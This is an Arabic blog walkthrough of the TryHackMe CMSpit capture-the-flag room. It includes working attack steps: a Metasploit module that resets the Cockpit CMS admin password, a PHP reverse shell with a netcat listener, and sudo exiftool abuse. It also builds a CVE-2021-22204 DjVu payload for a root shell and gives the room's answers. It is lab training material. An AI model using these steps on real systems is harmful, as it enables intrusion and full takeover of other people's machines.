Search 🔎🖥️

TryHackMe|CMSpit WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:



رابط التحدي: https://tryhackme.com/r/room/cmspit

=================================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا بورتين 22 و 80، نرجع نسوي Aggressive سكان على نفس هذه البورتات

sudo nmap IP -vv -A -p 80,22

بورت 22 عليها SSH والنظام هو ubuntu، وعلى بورت 80 عندنا Apache server. 

بنروح للمتصفح ونشوف ايش موجود على الصفحة الرئيسية، عندنا cockpit وهو نوع من CMS واللي هي Content Management Systems وهي أنظمة تساعد المستخدمين يسوون، ويديرون، ويعدلون على مواقع إنترنت، بدون ما يكون عندهم معرفة كبيرة بالبرمجة، أو حتى ما يكون عندهم معرفة إطلاقًا، مثال عليها WordPress.

بالعادة لما نلاقي CMS أول معلومة نحاول نحصل عليها هي النسخة للنظام، أحيان تكون النسخة (Version) قديمة وفيها ثغرات ممكن اختراقها، وبالعادة يكون رقم النسخة موجود في الصفحة في إحدى الزوايا بالأسفل أو بالأعلى، لكن الحين مافي شيء في الصفحة غير خانة تسجيل الدخول، لكن لو رحنا للـsource code وبحثنا ver بيطلع معانا نسخة النظام. 

نبحث في searchsploit عن cockpit وبنلاقي مجموعة من الexploits

ولو بحثنا برضو في Metasploit بنلاقي Exploit Module. 

نشوف الـinfo وبنلاقي المدى للنُّسخ، والنسخة اللي موجودة على النظام داخله في هذا المدى، فمعناته نقدر نستخدم هذه الـexploti، اللي المفروض تعطينا أسماء المستخدمين، ثم نختار منهم واحد ونرجع نشغلها وبتغير كملة سره وتعطينا إياها، وبكذا يصير نقدر نسجل دخول على النظام. 

نشوف الـoptions وايش يبغى له تعديل 

options

نحتاج نعدل حاجات بسيطة

set rhosts IP

set lhost tun0

tun0 تُشير إلى openVPN IP

run

بعد ما تشتغل بتطبع لنا 4 مستخدمين على النظام 

نختار منهم واحد، وأكيد بنختار admin، نرجع نشغل الـexploit ونعدل خيار واحد فقط 

set user admin 

ثم نشغلها، بعد ما تشتغل بيعطينا كلمة سر جديدة وبرضو بيعطينا meterpreter session

ناخذ كلمة السر ونروح للمتصفح ونسجل دخول كـadmin، بعد ما يدخلنا على الصفحة الرئيسية، نضغط على cockpit في أعلى اليسار، ثم نضغط على finder. 

على finder بنلقى مجموعة من  الملفات، أحدها اسمه webflag.php وبكذا يكون حصلنا على أول فلاق واللي هو الـweb flag ✨. 

الحين احنا نبي نحصل على reverse shell، لكن مو احنا اصلا حصلنا على meterpreter وش نبغى بالـshell؟ إلا صح، ولكن الحين احنا عرفنا كلمة سر، وقدرنا ندخل على حساب الـadmin، فالحين بإمكاننا إننا نستقبل shell من الـvictim، ونسوي لها stabalization، وبتكون shell قوية وسهل التعامل معها، خصوصا إن النظام Linux، وسهل جدا نسوي stabalization. 

أول حاجة بنجهز الـshell على جهازنا ونحفظها في ملف، أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN  لجهازكم، والبورت نفس ما تبغون.

ثم نرجع للموقع ونضغط على زر create الأزرق، ثم نرفع الـshell، وقبل ما نشغلها نجهز الـListener على جهازنا 

nc -nlvp 4444

وعشان نشغلها نروح للرابط http://IP/shell.php

وبيجينا اتصال على الجهاز، وبما إن الـvictim  جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.

الخطوات كالتالي:

نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

بعدين هذه الكوماند

export TERM=xterm

ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية

الحين نجيبها لقدام باستخدام هذه الكوماند

stty raw -echo;fg

ثم نروح لـ

cd /home

ls

ونشوف وش عندي مستخدمين، بيطلع مستخدم واحد اسمه stux

cd stux

cat user.txt

ولكن هنا ما قدرنا نقرأ الفلاق لأن ما عندنا صلاحيات كافية، فنحتاج نحصل على كلمة السر لـstux. لو عرضنا الملفات المخفية في المجلد ls -l بنلاقي ملف dbshell، وهذا الملف بالعادة ما يكون موجود بداخل المجلد هذا، لو استعرضناه، بنلاقي بداخله كلمة سر stux والـdb flag ✨.

بما إن عندنا الآن كلمة السر نقدر نغير المُستخدم

su stux

 نعطيه كلمة السر، ثم الحين نقدر نقرأ الـuser.txt وبكذا يكون حصلنا على الـuser flag ✨.

آخر فلاق غالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له. أول حاجة بنشوف وش الـbinaries اللي stux يقدر ينفذها بصلاحيات root. 

sudo -l

طلع معانا exiftool، وعشان نعرف كيف ممكن نستفيد من هذه الأداة في رفع الصلاحيات بنستفيد من الموقع GTFObins ونبحث عن exiftool

ثم ننزل للـsudo ونسوي نفس المطلوب

نرجع على جهاز الضحية وننفذ هذه الكوماندز

LFILE=/tmp/rootflag.txt

INPUT=/root/root.txt

الحين احنا حددنا الملف اللي نبغاه وهو root.txt ووين نبغاه يتخزن وهو rootflag.txt، نشغل exiftool

sudo /usr/local/bin/exiftool -filename=$LFILE $INPUT

كذا يعني تمام واشتغلت، نروح لـtmp، ثم نقرأ الملف من هناك

cat rootflag.txt

وبكذا حصلنا على آخر فلاق وانتهينا من الحل ✨. 

-------------------------------------------------------------------------------------------------------------

لكن لو ما نفعت معاكم الكوماندز اللي موجودة في الـGTFObins في طريقة أخرى للحل وهي مشروحة بالتفصيل على هذا الرابط، ومو بس بتعطينا الفلاق بل بنحصل على root shell. 

 عشان تنجح هذه الطريقة لازم نتأكد إن نسخة exiftool تكون أحدث من 7.44 على الـvictim

تمام كذا تأكدنا، بعد كذا نرجع على جهازنا ونسوي ملف اسمه exploit ونخزن فيه هذه القيمة 

(metadata "\c${system('/bin/sh')};")

ثم نضغطه 
bzz exploit exploit.bzz

ثم ننفذ هذه الكوماندز
sudo apt install -y djvulibre-bin
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=exploit.bzz

إذا كل شيء تمام بيصير عندنا ملف اسمه exploit.djvu


ناخذ هذا الملف وننقله للضحية ثم نشغله بـexiftool عشان نحصل على root shell. بأنقل الملف باستخدام netcat، في ncat الـlistener هو اللي يستقبل والـClient هو اللي يرسل، ولازم نشغل الـlistener قبل الـclient
على الضحية
nc -nlvp 1234 > exploit.djvu
وعلى جهازنا 
nc -nv IP 1234< exploit.djvu

بعد ما يوصل الملف لجهاز الضحية، ننقله ونحفظه على الـtmp

mv exploit.djvu /tmp

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

الحين نشغل الملف

sudo exiftool exploit.djvu

بعد كذا بنحصل مباشرة على root shell

/bin/bash -i 

ونقدر نقرأ آخر فلاق، فهذه طريقتين مُختلفة للحل، وكلها توصلنا للرووت فلاق. 

---------------------------------------------------------------------------------------------------
نجي للأسئلة:
أول سؤال سأل عن اسم الـCMS وهو cockpit

ثاني سؤال قال كم رقم الـversion وهو 0.11.1

السؤال الثالث يسأل ما هو المسار اللي يسمح بالـuser enumeration تلقون الإجابة في هذا الرابط وهو
/auth/check

السؤال الرابع الإجابة هي 4

السؤال الخامس يسأل عن ايميل skidy، وعشان نعرفه، نرجع لـmetasploit ونشغل الـmodule لكن هذه المرة للمستخدم skidy، وبيطبع لنا ايميله، أو من خلال المتصفح على الصفحة الرئيسية للموقع، نضغط على Account ثم Accounts وبيظهر لنا ايميلات جميع المستخدمين ومن ضمنهم skidy. 


السؤال الخامس يسأل عن المسار اللي يسمح لنا بتغيير كلمة سر المستخدم، برضو في نفس الرابط أعلاه وهو 
/auth/resetpassword


بعد كذا سأل عن رقم الـCVE وهو CVE-2021-22204، بس نبحث برقم النسخة للأداة في قوقل فيكون نص البحث
exiftool version 12.05 cve، وبيطلع معاكم بإذن الله. 

ثم سأل عن الأداة المستخدمة للملف PoC وهي djvumake

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)